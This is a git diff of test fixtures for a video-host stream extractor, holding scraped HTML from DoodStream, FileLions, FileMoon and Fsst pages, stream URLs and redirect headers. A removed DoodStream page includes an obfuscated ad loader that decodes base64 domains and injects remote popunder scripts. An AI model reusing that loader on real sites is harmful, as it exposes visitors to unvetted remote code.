src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon='{"version":"2024.11.0","token":"1c76230f8ab248eab0b0f2bf7c205c51","server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
|
||||||
|
</body></html>
|
||||||
File diff suppressed because one or more lines are too long
|
|
@ -1 +0,0 @@
|
||||||
<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title>Video not found | DoodStream</title> <link rel="preconnect" href="//i.doodcdn.io"><link rel="preconnect" href="//cdnjs.cloudflare.com"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <link rel="stylesheet" href="//i.doodcdn.io/theme_2/css/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="//i.doodcdn.io/theme_2/css/style.css" /></head><body> <style type="text/css"> .not_found img {height:250px !important;} @media (max-width: 768px){.not_found h1{font-size:1.8rem;}.not_found img {height:200px !important;margin: 0 auto 15px;}} @media (max-width: 480px){.not_found h1{font-size:1.4rem;}.not_found img {height:120px !important;margin: 0 auto 15px;}.not_found p{margin-top: -5px;}} </style> <div class="container pt-5 not_found"> <div class="row"> <div class="col-md-12 pt-2 text-center"> <img src="//i.doodcdn.io/img/no_video_3.svg"> <h1>Not Found</h1> <p>video you are looking for is not found.</p> </div> </div> </div><script data-cfasync="false" src="//d1f05vr3sjsuy7.cloudfront.net/?srvfd=908056"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/gHzOaAdOhbZ/71405"></script><script data-cfasync="false" async type="text/javascript" src="//faqirsgoliard.top/r67c0fc81985e5/70849"></script><script type="text/javascript" data-cfasync="false">/*<![CDATA[/* */(function(){var g=window,r="ca0967284e67bc53cb5b626985619403",w=[["siteId",317+185*82*507-3600486],["minBid",0],["popundersPerIP","0"],["delayBetween",300],["default","https://strettechoco.com/iYa7dlULceKw/27615"],["defaultPerDay",0],["topmostLayer","never"]],n=["d3d3LmJsb2NrYWRzbm90LmNvbS9iYWphLm1pbi5jc3M=","ZG5oZmk1bm4yZHQ2Ny5jbG91ZGZyb250Lm5ldC9RVHd0eC91YWxnZWJyYS5taW4uanM=","d3d3LmJibHZwbGd1b21hLmNvbS9mYWphLm1pbi5jc3M=","d3d3LndqZ3BzcGt4empiZGd1LmNvbS9NTmlIWS9rYWxnZWJyYS5taW4uanM="],f=-1,v,q,h=function(){clearTimeout(q);f++;if(n[f]&&!(1766620801000<(new Date).getTime()&&1<f)){v=g.document.createElement("script");v.type="text/javascript";v.async=!0;var o=g.document.getElementsByTagName("script")[0];v.src="https://"+atob(n[f]);v.crossOrigin="anonymous";v.onerror=h;v.onload=function(){clearTimeout(q);g[r.slice(0,16)+r.slice(0,16)]||h()};q=setTimeout(h,5E3);o.parentNode.insertBefore(v,o)}};if(!g[r]){try{Object.freeze(g[r]=w)}catch(e){}h()}})();/*]]>/* */</script></body></html>
|
|
||||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
|
@ -1 +0,0 @@
|
||||||
https://ee317r.cloudatacdn.com/u5kj63yvxddlsdgge7qremqqka27irwiupc4k7o5cikbhjliz6xwv2xr53uq/lco4d3heif~
|
|
||||||
|
|
@ -1 +0,0 @@
|
||||||
https://wec6bnh7rx7rw11bv9e9vslw4rud8nam.5f1ebd98099ce35faeeddb30c1752191.r2.cloudflarestorage.com/icxxqqdsfdc4?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ab085b515b950aae0a86cae59456cacd%2F20250714%2Fauto%2Fs3%2Faws4_request&X-Amz-Date=20250714T154400Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=845ebfa5feedd840027e431f31e013513dd4c4f74364b4e75a2c8ddb213bd97a
|
|
||||||
|
|
@ -1 +0,0 @@
|
||||||
https://aa360cc.cloudatacdn.com/u5kjv4jxytd3sdgge5uogji5dg4huat2pxrm2qibdbm5rlyusvl46iz3u3ta/1f4isxg0tw~
|
|
||||||
145
src/extractor/__fixtures__/FileLions/https:callistanise.comfcy4t5nkerjrt
generated
Normal file
145
src/extractor/__fixtures__/FileLions/https:callistanise.comfcy4t5nkerjrt
generated
Normal file
|
|
@ -0,0 +1,145 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<title>
|
||||||
|
|
||||||
|
Watch 300938 570f5a24 c281 484d 93fa 734dabbec813 jkgg 2651705 vidhide mp4
|
||||||
|
|
||||||
|
</title>
|
||||||
|
<META NAME="description" CONTENT="">
|
||||||
|
<META NAME="keywords" CONTENT="">
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||||
|
<meta name="theme-color" content="#FFF">
|
||||||
|
|
||||||
|
<link rel="apple-touch-icon" href="/static/images/favicon/apple-touch-icon.png" sizes="180x180">
|
||||||
|
<link rel="icon" href="/static/images/favicon/favicon-32x32.png" sizes="32x32">
|
||||||
|
<link rel="icon" href="/static/images/favicon/favicon-16x16.png" sizes="16x16">
|
||||||
|
<link rel="manifest" href="/static/images/favicon/manifest.json">
|
||||||
|
<link rel="icon" href="/static/images/favicon/favicon.ico">
|
||||||
|
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||||
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin="crossorigin">
|
||||||
|
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;700&display=swap" rel="stylesheet">
|
||||||
|
<link href="/static/css/style.css?" rel="stylesheet">
|
||||||
|
|
||||||
|
<script src="/static/js/jquery-3.2.1.min.js?"></script>
|
||||||
|
<script src="/static/js/bootstrap.bundle.min.js?"></script>
|
||||||
|
<script src="/static/js/app.js?"></script>
|
||||||
|
<script src="/static/js/xupload.js?"></script>
|
||||||
|
|
||||||
|
|
||||||
|
<!-- Google tag (gtag.js) -->
|
||||||
|
<script async src="https://www.googletagmanager.com/gtag/js?id=G-48ZJD1VPGZ"></script>
|
||||||
|
<script>
|
||||||
|
window.dataLayer = window.dataLayer || [];
|
||||||
|
function gtag(){dataLayer.push(arguments);}
|
||||||
|
gtag('js', new Date());
|
||||||
|
|
||||||
|
gtag('config', 'G-48ZJD1VPGZ');
|
||||||
|
</script>
|
||||||
|
<!-- Yandex.Metrika counter -->
|
||||||
|
<script type="text/javascript" >
|
||||||
|
(function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)};
|
||||||
|
m[i].l=1*new Date();
|
||||||
|
for (var j = 0; j < document.scripts.length; j++) {if (document.scripts[j].src === r) { return; }}
|
||||||
|
k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)})
|
||||||
|
(window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");
|
||||||
|
|
||||||
|
ym(93381808, "init", {
|
||||||
|
clickmap:true,
|
||||||
|
trackLinks:true,
|
||||||
|
accurateTrackBounce:true,
|
||||||
|
webvisor:true
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
<noscript><div><img src="https://mc.yandex.ru/watch/93381808" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
|
||||||
|
<!-- /Yandex.Metrika counter -->
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<header class="header">
|
||||||
|
<div class="container">
|
||||||
|
<div class="row align-items-center flex-nowrap">
|
||||||
|
<div class="col-auto flex-grow-1 flex-shrink-1">
|
||||||
|
<div class="row align-items-center">
|
||||||
|
|
||||||
|
<div class="col-auto" style="margin: 0 auto;">
|
||||||
|
<a href="/" class="logo">
|
||||||
|
|
||||||
|
<img src="/static/images/logo.svg" alt="">
|
||||||
|
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
|
||||||
|
<main>
|
||||||
|
<section class="section">
|
||||||
|
<div class="container">
|
||||||
|
<div class="block">
|
||||||
|
<div class="mb-3">
|
||||||
|
The file was deleted by administration because it didn't comply with our Terms of Use:
|
||||||
|
</div>
|
||||||
|
<h4>
|
||||||
|
300938--570f5a24-c281-484d-93fa-734dabbec813--jkgg--2651705-vidhide.mp4
|
||||||
|
</h4>
|
||||||
|
<br>
|
||||||
|
Reason for deletion: <br>
|
||||||
|
<b class="text-danger">
|
||||||
|
DMCA request
|
||||||
|
</b>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</main>
|
||||||
|
<footer class="footer">
|
||||||
|
<div class="container">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-lg-4 col-xs-12">
|
||||||
|
<div class="mb-3 text-center">
|
||||||
|
<a href="#" class="logo">
|
||||||
|
|
||||||
|
<img src="/static/images/logo.svg" alt="">
|
||||||
|
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="col-lg-8 col-xs-12" style="position: relative">
|
||||||
|
<div class="mb-4 text-center">
|
||||||
|
<p class="text-muted ">
|
||||||
|
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</footer>
|
||||||
|
<style>
|
||||||
|
@media (min-width:481px) {
|
||||||
|
.text-muted {}
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (min-width:961px) {
|
||||||
|
.text-muted {
|
||||||
|
position: absolute;
|
||||||
|
right: 0;
|
||||||
|
top: 15px
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
|
|
||||||
227
src/extractor/__fixtures__/FileMoon/https:filemoon.todugj7f1kq94p1
generated
Normal file
227
src/extractor/__fixtures__/FileMoon/https:filemoon.todugj7f1kq94p1
generated
Normal file
|
|
@ -0,0 +1,227 @@
|
||||||
|
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<title>Watch tt0307453</title>
|
||||||
|
<meta name="description" content="">
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||||
|
<meta name="theme-color" content="#FFF">
|
||||||
|
|
||||||
|
<link rel="apple-touch-icon" href="//filemoon.to/assets/images/favicon/apple-touch-icon.png" sizes="180x180">
|
||||||
|
<link rel="icon" href="//filemoon.to/assets/images/favicon/favicon-32x32.png" sizes="32x32">
|
||||||
|
<link rel="icon" href="//filemoon.to/assets/images/favicon/favicon-16x16.png" sizes="16x16">
|
||||||
|
<link rel="icon" href="//filemoon.to/assets/images/favicon/favicon.ico">
|
||||||
|
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||||
|
<link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;600;700&display=swap" rel="stylesheet">
|
||||||
|
<link rel="stylesheet" href="//filemoon.to/assets/css/front.css?v=51">
|
||||||
|
<META NAME="description" CONTENT="Watch video tt0307453">
|
||||||
|
<META NAME="keywords" CONTENT="tt0307453">
|
||||||
|
<meta name="robots" content="noindex, nofollow">
|
||||||
|
|
||||||
|
|
||||||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body class="is-home d-flex flex-column justify-content-between ">
|
||||||
|
<header class="header py-3 py-lg-4">
|
||||||
|
<div class="container">
|
||||||
|
<div class="row align-items-center justify-content-between justify-content-lg-start">
|
||||||
|
<div class="col-auto d-lg-none">
|
||||||
|
<button class="btn text-muted ssm-toggle-nav px-1" type="button">
|
||||||
|
<i class="icon icon-menu icon-size-22 text-muted"></i>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="col-auto">
|
||||||
|
<a href="/" class="logo d-block"><img src="//filemoon.to/assets/images/logo.svg" alt=""></a>
|
||||||
|
</div>
|
||||||
|
<div class="col-auto d-none d-lg-block flex-lg-grow-1">
|
||||||
|
<nav class="nav ml-lg-3">
|
||||||
|
<a class="nav-link" href="/premium">Premium</a>
|
||||||
|
<a class="nav-link" href="/affiliate">Make Money</a>
|
||||||
|
</nav>
|
||||||
|
</div>
|
||||||
|
<div class="col-auto">
|
||||||
|
<div class="d-none d-lg-flex">
|
||||||
|
|
||||||
|
<a href="/login" class="btn btn-dark sign-btn rounded-pill mr-2">Log In</a>
|
||||||
|
<a href="/register" class="btn btn-success sign-btn rounded-pill">Sign Up</a>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<div class="d-lg-none">
|
||||||
|
<button class="btn text-muted usrmobile-toggle-nav px-1" type="button">
|
||||||
|
<i class="icon icon-user icon-size-18 text-muted"></i>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<script src="https://filemoon.to/js/jquery.cookie.js"></script>
|
||||||
|
<script>
|
||||||
|
$.cookie('file_id', '48721931', { expires: 10 });
|
||||||
|
$.cookie('aff', '89667', { expires: 10 });
|
||||||
|
$.cookie('ref_url', 'https://filemoon.to/d/ugj7f1kq94p1', { expires: 10 });
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<script type="text/javascript" src='/js/ls.js'></script>
|
||||||
|
<main class="flex-grow-1 a-bean">
|
||||||
|
<div class="container mt-5">
|
||||||
|
<div class="mb-4 mb-lg-5 sm-bg px-4 py-5 p-lg-0 mx-lg-5 rounded-lg">
|
||||||
|
<div class="row justify-content-between align-items-center text-muted mb-4 mb-lg-5">
|
||||||
|
<div class="col-auto mb-2">
|
||||||
|
<h3 class="text-light mb-0 font-weight-bold">tt0307453</h3>
|
||||||
|
</div>
|
||||||
|
<div class="col-auto mb-2"> Uploaded: <span class="text-success">2025-08-24 00:12:36</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="mb-4 mb-lg-5 ">
|
||||||
|
<div class="position-relative">
|
||||||
|
|
||||||
|
<div class="bimg-top text-center">
|
||||||
|
<div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div style="height: 640px;" id="iframe-holder">
|
||||||
|
|
||||||
|
<iframe src="https://ico3c.com/bkg/ugj7f1kq94p1" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" width="100%" height="100%" allowfullscreen></iframe>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="bimg-bottom text-center">
|
||||||
|
<div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="mb-4 mb-lg-5 text-center">
|
||||||
|
<a href="/download/ugj7f1kq94p1" class="btn btn-success px-5">Download</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<style>
|
||||||
|
#vplayer {padding-top: 56.25%;}
|
||||||
|
.bimg-top,
|
||||||
|
.bimg-bottom {
|
||||||
|
display: -webkit-flex;
|
||||||
|
display: -ms-flex;
|
||||||
|
display: flex;
|
||||||
|
-ms-align-items: center;
|
||||||
|
align-items: center;
|
||||||
|
-webkit-flex-wrap: wrap;
|
||||||
|
-ms-flex-wrap: wrap;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
justify-content: center;
|
||||||
|
}
|
||||||
|
.bimg-top div,
|
||||||
|
.bimg-bottom div {
|
||||||
|
margin: .5rem;
|
||||||
|
}
|
||||||
|
@media(min-width:1600px){
|
||||||
|
.bimg-top,
|
||||||
|
.bimg-bottom {
|
||||||
|
position: absolute;
|
||||||
|
top: 0;
|
||||||
|
bottom: 0;
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
||||||
|
.bimg-top {
|
||||||
|
left: -310px;
|
||||||
|
}
|
||||||
|
.bimg-bottom {
|
||||||
|
right: -310px;
|
||||||
|
}
|
||||||
|
.bimg-top div,
|
||||||
|
.bimg-bottom div {
|
||||||
|
margin: .5rem 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
@media(min-width:1800px){
|
||||||
|
.bimg-top {
|
||||||
|
left: -350px;
|
||||||
|
}
|
||||||
|
.bimg-bottom {
|
||||||
|
right: -350px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<footer class="footer py-4 py-lg-5">
|
||||||
|
<div class="container">
|
||||||
|
<div class="row align-items-center justify-content-between">
|
||||||
|
<div class="col-auto my-1">
|
||||||
|
<div class="text-muted"> FileMoon © 2022 </div>
|
||||||
|
</div>
|
||||||
|
<div class="col-auto my-1">
|
||||||
|
<nav class="nav">
|
||||||
|
<a class="nav-link text-muted footer-link px-0 mr-4" href="/">Home</a>
|
||||||
|
<a class="nav-link text-muted footer-link px-0 mr-4" href="/tos">Terms of Service</a>
|
||||||
|
<a class="nav-link text-muted footer-link px-0 mr-4" href="/privacy">Privacy Policy</a>
|
||||||
|
<a class="nav-link text-muted footer-link px-0 mr-4" href="/copyright">Copyright Policy</a>
|
||||||
|
<a class="nav-link text-muted footer-link px-0 mr-4" href="/affiliate">Make Money</a>
|
||||||
|
<a class="nav-link text-muted footer-link px-0 mr-4" href="/api">API Documentation</a>
|
||||||
|
<a class="nav-link text-muted footer-link px-0 mr-4" href="https://status.filemoon.sx">Server Status</a>
|
||||||
|
</nav>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</footer>
|
||||||
|
</div>
|
||||||
|
<div class="ssm">
|
||||||
|
<nav class="nav ssm-nav flex-column">
|
||||||
|
<a class="nav-link ssm-nav-link active" href="/"><i class="icon icon-home icon-size-16 ssm-nav-icon mr-3"></i>Home</a>
|
||||||
|
<a class="nav-link ssm-nav-link" href="/dashboard"><i class="icon icon-account icon-size-16 ssm-nav-icon mr-3"></i>My account</a>
|
||||||
|
<a class="nav-link ssm-nav-link" href="/premium"><i class="icon icon-money icon-size-16 ssm-nav-icon mr-3"></i>Premium</a>
|
||||||
|
<a class="nav-link ssm-nav-link" href="/affiliate"><i class="icon icon-money icon-size-16 ssm-nav-icon mr-3"></i>Make Money</a>
|
||||||
|
</nav>
|
||||||
|
<hr class="mx-3">
|
||||||
|
<nav class="nav flex-column ssm-nav">
|
||||||
|
<a class="nav-link ssm-nav-link" href="/tos"><i class="icon icon-pen icon-size-16 ssm-nav-icon mr-3"></i>Terms of Service</a>
|
||||||
|
<a class="nav-link ssm-nav-link" href="/privacy"><i class="icon icon-key icon-size-16 ssm-nav-icon mr-3"></i>Privacy Policy</a>
|
||||||
|
<a class="nav-link ssm-nav-link" href="/api"><i class="icon icon-note icon-size-16 ssm-nav-icon mr-3"></i>API Documentation</a>
|
||||||
|
<a class="nav-link ssm-nav-link" href="https://status.filemoon.sx"><i class="icon icon-note icon-size-16 ssm-nav-icon mr-3"></i>Server Status</a>
|
||||||
|
</nav>
|
||||||
|
</div>
|
||||||
|
<div class="ssm-overlay ssm-toggle-nav"></div>
|
||||||
|
<div class="usrmobile p-5 usrmobile-toggle-nav">
|
||||||
|
|
||||||
|
<a href="/login" class="btn btn-success btn-success-custom btn-lg btn-block text-uppercase shadow">Sign in</a>
|
||||||
|
<a href="/register" class="btn btn-outline-success btn-lg btn-block mb-2 text-uppercase">Sign up</a>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<script src="//filemoon.to/assets/js/bootstrap.bundle.min.js"></script>
|
||||||
|
<script src="//filemoon.to/assets/js/jquery.slideandswipe.min.js"></script>
|
||||||
|
<script src="//filemoon.to/assets/js/jquery.touchSwipe.min.js"></script>
|
||||||
|
<script src="//filemoon.to/assets/js/front.js"></script>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
76
src/extractor/__fixtures__/FileMoon/https:ico3c.combkgugj7f1kq94p1
generated
Normal file
76
src/extractor/__fixtures__/FileMoon/https:ico3c.combkgugj7f1kq94p1
generated
Normal file
File diff suppressed because one or more lines are too long
|
|
@ -0,0 +1 @@
|
||||||
|
{"destination_url":"https://be7713.rcr82.waw05.i8yz83pn.com/hls2/05/09711/aeuhexjcoysl_x/master.m3u8?t=fiqqJThcgnrc77etu-nLPLodbF1UeqY5Cou0vvnLIB0&s=1765556185&e=10800&f=48721931&srv=1050&asn=13335&sp=5500&p=","request_headers":{"user-agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36","referer":"https://ico3c.com/bkg/ugj7f1kq94p1"},"mediaflow_proxy_url":"https://mediaflow.test.org/proxy/hls/manifest.m3u8","query_params":{"api_password":"test"}}
|
||||||
|
|
@ -0,0 +1 @@
|
||||||
|
{"server":"nginx","date":"Tue, 06 Jan 2026 15:18:15 GMT","content-type":"text/html; charset=UTF-8","connection":"close","referrer-policy":"strict-origin-when-cross-origin","location":"https://a41.filevideo1.com/remote_control.php?time=1767712695&cv=a5df8582e6558fcf6bc25d7f02e5e646&lr=0&cv2=81173262e5b3e34fa9ebf67326ca98a5&file=%2Fvideos%2F948000%2F948429%2F948429_720p.mp4&cv3=2d8ee1a66c0ca6ce75d84c67a50a70e9&cv4=6974d60c75ea0485c4f2a71b164a21ce"}
|
||||||
|
|
@ -0,0 +1 @@
|
||||||
|
{"server":"nginx","date":"Tue, 06 Jan 2026 15:18:15 GMT","content-type":"text/html; charset=UTF-8","connection":"close","referrer-policy":"strict-origin-when-cross-origin","location":"https://a41.filevideo1.com/remote_control.php?time=1767712695&cv=a5df8582e6558fcf6bc25d7f02e5e646&lr=0&cv2=81173262e5b3e34fa9ebf67326ca98a5&file=%2Fvideos%2F948000%2F948429%2F948429_360p.mp4&cv3=2d8ee1a66c0ca6ce75d84c67a50a70e9&cv4=3ea2409b52380eb78c22c143fa6e27db"}
|
||||||
|
|
@ -0,0 +1 @@
|
||||||
|
{"server":"nginx","date":"Tue, 06 Jan 2026 15:18:15 GMT","content-type":"text/html; charset=UTF-8","connection":"close","referrer-policy":"strict-origin-when-cross-origin","location":"https://a41.filevideo1.com/remote_control.php?time=1767712695&cv=a5df8582e6558fcf6bc25d7f02e5e646&lr=0&cv2=81173262e5b3e34fa9ebf67326ca98a5&file=%2Fvideos%2F948000%2F948429%2F948429.mp4&cv3=2d8ee1a66c0ca6ce75d84c67a50a70e9&cv4=7cf7fccae0c48291e3452c8ca2277f70"}
|
||||||
211
src/extractor/__fixtures__/Fsst/https:fsst.onlineembed948429
generated
Normal file
211
src/extractor/__fixtures__/Fsst/https:fsst.onlineembed948429
generated
Normal file
|
|
@ -0,0 +1,211 @@
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||||
|
<title>Wake.Up.Dead.Man.A.Knives.Out.Mystery.2025.mkv</title>
|
||||||
|
<script src='/player/player-101224.js' type='text/javascript'></script>
|
||||||
|
<!-- Google tag (gtag.js) -->
|
||||||
|
<script async src="https://www.googletagmanager.com/gtag/js?id=G-CFYS4N19SL"></script>
|
||||||
|
<script>
|
||||||
|
window.dataLayer = window.dataLayer || [];
|
||||||
|
function gtag(){dataLayer.push(arguments);}
|
||||||
|
gtag('js', new Date());
|
||||||
|
|
||||||
|
gtag('config', 'G-CFYS4N19SL', {cookie_flags: 'max-age=7200;secure;samesite=none'});
|
||||||
|
gtag('config', 'G-SZ2D21EHGZ', {cookie_flags: 'max-age=7200;secure;samesite=none'});
|
||||||
|
gtag('config', 'G-7F9RVQ2TM0', {cookie_flags: 'max-age=7200;secure;samesite=none'});
|
||||||
|
gtag('config', 'G-LZP7HENPSC', {cookie_flags: 'max-age=7200;secure;samesite=none'});
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body style="margin:0; padding:0; background:#000000; color:#ffffff">
|
||||||
|
<div id="Video948429" style="width:100%; height:100%;"></div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<script>
|
||||||
|
var isMobile = {
|
||||||
|
Android: function() {
|
||||||
|
return navigator.userAgent.match(/Android/i);
|
||||||
|
},
|
||||||
|
BlackBerry: function() {
|
||||||
|
return navigator.userAgent.match(/BlackBerry/i);
|
||||||
|
},
|
||||||
|
iOS: function() {
|
||||||
|
return navigator.userAgent.match(/iPhone|iPad|iPod/i);
|
||||||
|
},
|
||||||
|
Opera: function() {
|
||||||
|
return navigator.userAgent.match(/Opera Mini/i);
|
||||||
|
},
|
||||||
|
SmartTV: function() {
|
||||||
|
return navigator.userAgent.match(/Apple TV|Tizen|Web0S|WebOS|TSBNetTV|PHILIPSTV|NETFLIX|BRAVIA|Opera TV Store|SmartTV|SmartTv/i);
|
||||||
|
},
|
||||||
|
Windows: function() {
|
||||||
|
return navigator.userAgent.match(/IEMobile/i);
|
||||||
|
},
|
||||||
|
any: function() {
|
||||||
|
return (isMobile.Android() || isMobile.BlackBerry() || isMobile.iOS() || isMobile.Opera() || isMobile.SmartTV() || isMobile.Windows());
|
||||||
|
}
|
||||||
|
};
|
||||||
|
if(isMobile.iOS()){
|
||||||
|
var player = new Playerjs({
|
||||||
|
id: 'Video948429',
|
||||||
|
subtitle: "",
|
||||||
|
poster: 'https://www.secvideo1.online/contents/videos_screenshots/948000/948429/preview.jpg',
|
||||||
|
file:"[360p]https://www.secvideo1.online/get_file/18/5f4c7a9db5fbdfe139db2e22c9c8a2d20cb476bf49/948000/948429/948429_360p.mp4/,[720p]https://www.secvideo1.online/get_file/18/2b29f2b5e347fae9289b47644f3c93e1a94d9c7611/948000/948429/948429_720p.mp4/,[1080p]https://www.secvideo1.online/get_file/18/f4595a22a9b081291cd4107986a6f5e1c7e4ef6d10/948000/948429/948429.mp4/",
|
||||||
|
url: 'https://fsst.online/videos/948429/wake-up-dead-man-a-knives-out-mystery-2025-mkv/',
|
||||||
|
embed: "https://fsst.online/embed/948429/",
|
||||||
|
default_quality: "360p",
|
||||||
|
preroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemf&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemg&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemh&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemi&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemk&p2=jjsh and //adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeml&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemo&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemp&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgems&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemt&p2=jjsh",
|
||||||
|
pauseroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
|
||||||
|
postroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
|
||||||
|
